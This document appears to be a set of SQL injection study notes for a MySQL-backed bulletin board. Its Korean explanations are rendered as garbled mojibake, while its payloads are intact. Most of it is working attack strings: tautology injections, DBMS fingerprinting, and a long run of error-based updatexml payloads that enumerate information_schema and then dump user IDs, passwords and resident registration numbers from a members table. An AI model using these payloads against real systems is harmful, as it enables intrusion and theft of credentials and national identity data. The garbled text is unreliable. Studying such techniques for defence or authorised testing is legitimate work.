SQL ์ธ์ ์
ํ๋ก์ธ์ค 1. ์๋ฌ ์ ๋ฌด / ์ทจ์ฝ์ ์ง๋จ
๊ฐ์ ๋ก ์๋ฌ๋ฅผ ๋ฐ์์ํค๋ ๋ฐฉ๋ฒ
' ์
๋ ฅ > ์๋ฌ ๋ฐ์
'%' or writer like '%'%' or content like '%'%' order by idx desc
SELECT * FROM board WHERE title = ' '; # SQL๋ฌธ ์์ธก ๊ฐ๋ฅ
-> ์์ฉ
1. ํค์๋ ๊ฒ์์์ ์ค๋ฅ ๋ฐ์
2. url ์ฃผ์์์ ์ค๋ฅ ๋ฐ์
3. ์ ๋ ฌ์์๋ ์๋ฌ๊ฐ ๋ฐ์
-> ์ทจ์ฝ์ ์ง๋จ
์น ์๋ฒ์ DB์๋ฒ ๊ฐ์ ์๋ชป๋ ์ฟผ๋ฆฌ๋ฅผ ๋ ๋ ธ์ ๋ ์ ์/๋น์ ์ ๋ฐ์์ด ๋์ค๊ฒ ํ๋ ๋ฐฉ๋ฒ
idx์์ ๋ํ๊ธฐ ํน์ ๋นผ๊ธฐ๋ฅผ ํด๋ณธ๋ค
3+2๋ ์๋๋ค > url ์ธ์ฝ๋ฉ์ผ๋ก ์ธํด + ๊ธฐํธ๊ฐ ๊ณต๋ฐฑ์ผ๋ก ์ฒ๋ฆฌ๋จ
+๋ฅผ ํ๊ธฐ์ํด์ url ์ธ์ฝ๋ฉํ๋ฉด + = %2b์ด๋ฏ๋ก 3%2b2๋ฅผ ํ๋ฉด 5๋ฒ ๊ธ๋ก ์ด๋ ๊ฐ๋ฅ
keyword Input ์นธ์ ' or 1=1 # ์ searchํ๋ฉด ๋ชจ๋ ๊ธ์ด ๋ค ๋ณด์ธ๋ค
keyword Input ์นธ์ ' or 1=2#์ search ํ๋ฉด ์๋ฌด๋ฐ ๊ธ ๊ฒ์๋ ๋์ง ์๋๋ค
SELECT * FROM board WHERE title = ' '; # ๊ธฐ์กด ์ฟผ๋ฆฌ๋ฌธ
SELECT * FROM board WHERE title = '' or 1=1 # '; # True
SELECT * FROM board WHERE title = '' and 1=2 # '; # False
keyword Input์นธ์ ' or 1=1 and '%'=' ๋ฅผ ์ฌ์ฉํ๋ฉด ์ฃผ์์ฒ๋ฆฌ๊ฐ ํ์ํ์ง ์๋ค
๋ค์ ์๋ ๋ฌธ์ฅ์ ์ฃผ์์ผ๋ก ํ๊ดด์์ผ์ ์งํํ๋ ๋ฐฉ๋ฒ > Terminating Query
๋ค์ ์๋ ๋ฌธ์ฅ์ ์ด๋ ค์ ์งํํ๋ ๋ฐฉ๋ฒ > In-line Query
2. ํ๊ฒฝ๋ถ์
MySQL / Oracle / MsSQL
> ๊ฐ๊ฐ ๊ฐ์ง๊ณ ์๋ ํจ์๋ ๋ฉํ ๋ฐ์ดํฐ๊ฐ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ํ๊ฒฝ ๋ถ์์ ๊ผญ ํด์ค์ผํ๋ค
1. ์ฐ๊ฒฐ ์ฐ์ฐ์
MySQL : ๊ณต๋ฐฑ ex) ' test ' == ' te ' ' st '
Oracle : || ex) ' test ' == ' te ' || ' st '
MsSQL : + ex) ' test ' == ' te ' + ' st '
te' 'st ๋ฅผ ๊ฒ์ํ์๋ test๋ก ๊ฒ์๋๋ค >> MySQL์์ ์ถ์ธก ๊ฐ๋ฅ
Oracle ํจ์ ์ฌ์ฉ ๋ถ๊ฐ๋ฅ
MsSQL ํจ์ ์ฌ์ฉ ๋ถ๊ฐ๋ฅ
๋ด๋ฆผ์ฐจ์์ผ๋ก ๊ฒ์ ๊ฐ๋ฅ
2. DBMS์ ๊ณ ์ ํจ์
MySQL : mid(), substr(), substring()
Oracle : substr()
MsSQL : substring()
# test๋ผ๋ ๊ธ์์์ 1๋ฒ์งธ ๊ธ์์์ 1๊ฐ๊น์ง ์ถ๋ ฅํ์์ค
substr('test',1,1) = t
# test๋ผ๋ ๊ธ์์์ 3๋ฒ์งธ ๊ธ์์์ 2๊ฐ๊น์ง ์ถ๋ ฅํ์์ค
substr('test', 3, 2) = st
3. ๊ณต๊ฒฉ ๊ธฐ๋ฒ ์ ํ
- Error Based : ' and updatexml (0x0a,concat(0x0a,database()),0x0a) #
- Union Based
- Blind Based
- Time Based
์ ๋ณด ์ถ์ถ ์๋ ์ฐจ์ด
Union > Error >>>>>>> Blind >>>>>>> Time
information_schema : ๋ฉํ ๋ฐ์ดํฐ ์ ๋ณด๋ฅผ ๋ชจ์๋์ ๋ฐ์ดํฐ ๋ฒ ์ด์ค
4. ๋ฉํ ๋ฐ์ดํฐ ๋งต ์์ฑ
๊ธฐ๋ณธ์ ๋ณด 3๊ฐ์ง ์ฐพ๊ธฐ
database()
system_user()
version()
' and updatexml (0x0a,concat(0x0a,(๊ณต๊ฒฉ๊ตฌ๋ฌธ)),0x0a) #
๊ธฐ๋ณธ์ ๋ณด 3๊ฐ์ง ์ฐพ๊ธฐ database()
๊ธฐ๋ณธ์ ๋ณด 3๊ฐ์ง ์ฐพ๊ธฐ database()
system_user()
system_user()
version()
version()
' and updatexml (0x0a,concat(0x0a,system_user()),0x0a) #
๋ฉํ ๋ฐ์ดํฐ ๋งคํ
SCHEMATA : ํ์ฌ ์ฌ์ฉ์ค์ธ ๋ฐ์ดํฐ ๋ฒ ์ด์ค ๋ชฉ๋ก
TABLES : ํ์ฌ ์ฌ์ฉ์ค์ธ ํ
์ด๋ธ ๋ชฉ๋ก
COLUMNS : ํ์ฌ ์ฌ์ฉ์ค์ธ ์ปฌ๋ผ ๋ชฉ๋ก
๊ฐ์ฅ ์ฒ์์ DB ๋ชฉ๋กํ
< ์์ฐจ ์ ๊ทผ ๋ฐฉ์ >
๋ง์ ์๊ฐ๊ณผ ํธ๋ํฝ์ ์๋ชจํ์ง๋ง ์ค์ ์ ๋ณด๋ฅผ ๋์น ํ๋ฅ ์ด ์ ๋ค
SELECT * FROM information_schema.schemata
SCHEMA_NAME : ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ๋ชจ์๋์ ํญ๋ชฉ
TABLE_SCHEMA๋ผ๋ ์ปฌ๋ผ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ , TABLE_NAME์ด๋ผ๋ ์ปฌ๋ผ์ด ํ
์ด๋ธ ์ด๋ฆ
TABLE_SCHEMA : ๋ฐ์ดํฐ ๋ฒ ์ด์ค ์ด๋ฆ , TABLE_NAME : ํ
์ด๋ธ ์ด๋ฆ, COLUMN_NAME : ์ปฌ๋ผ ์ด๋ฆ
information_schema ํญ๋ชฉ์์ phpmyadmin ์ด๋ผ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฉํ๋ฐ์ดํฐ๋งต์ ์์ฑ
< ๋น ์์ฐจ ์ ๊ทผ ๋ฐฉ์ >
์ ์ ์๊ฐ๊ณผ ํธ๋ํฝ์ ์๋ชจํ์ง๋ง ์ค์ ์ ๋ณด๋ฅผ ๋์น ํ๋ฅ ์ด ๋๋ค
SELECT * FROM information_schema.tables WHERE table_name like '%mem%'
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata )),0x0a) #
์๋ธ์ฟผ๋ฆฌ : ๋ฐ๋์ 1๊ฐ์ ์ด๊ณผ 1๊ฐ์ ํ๋ง ์์ด์ผํ๋ค. > limit ์ ์ ์ฌ์ฉํ๋ค.
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 1,1)),0x0a) #
5. ์ ๋ณด ์ถ์ถ
' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 1,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 1,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 2,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 3,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='members' LIMIT 3,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 4,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT id FROM members LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT id FROM members LIMIT 1,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT password FROM members LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT password FROM members LIMIT 1,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT jumin FROM members LIMIT 0,1)),0x0a) #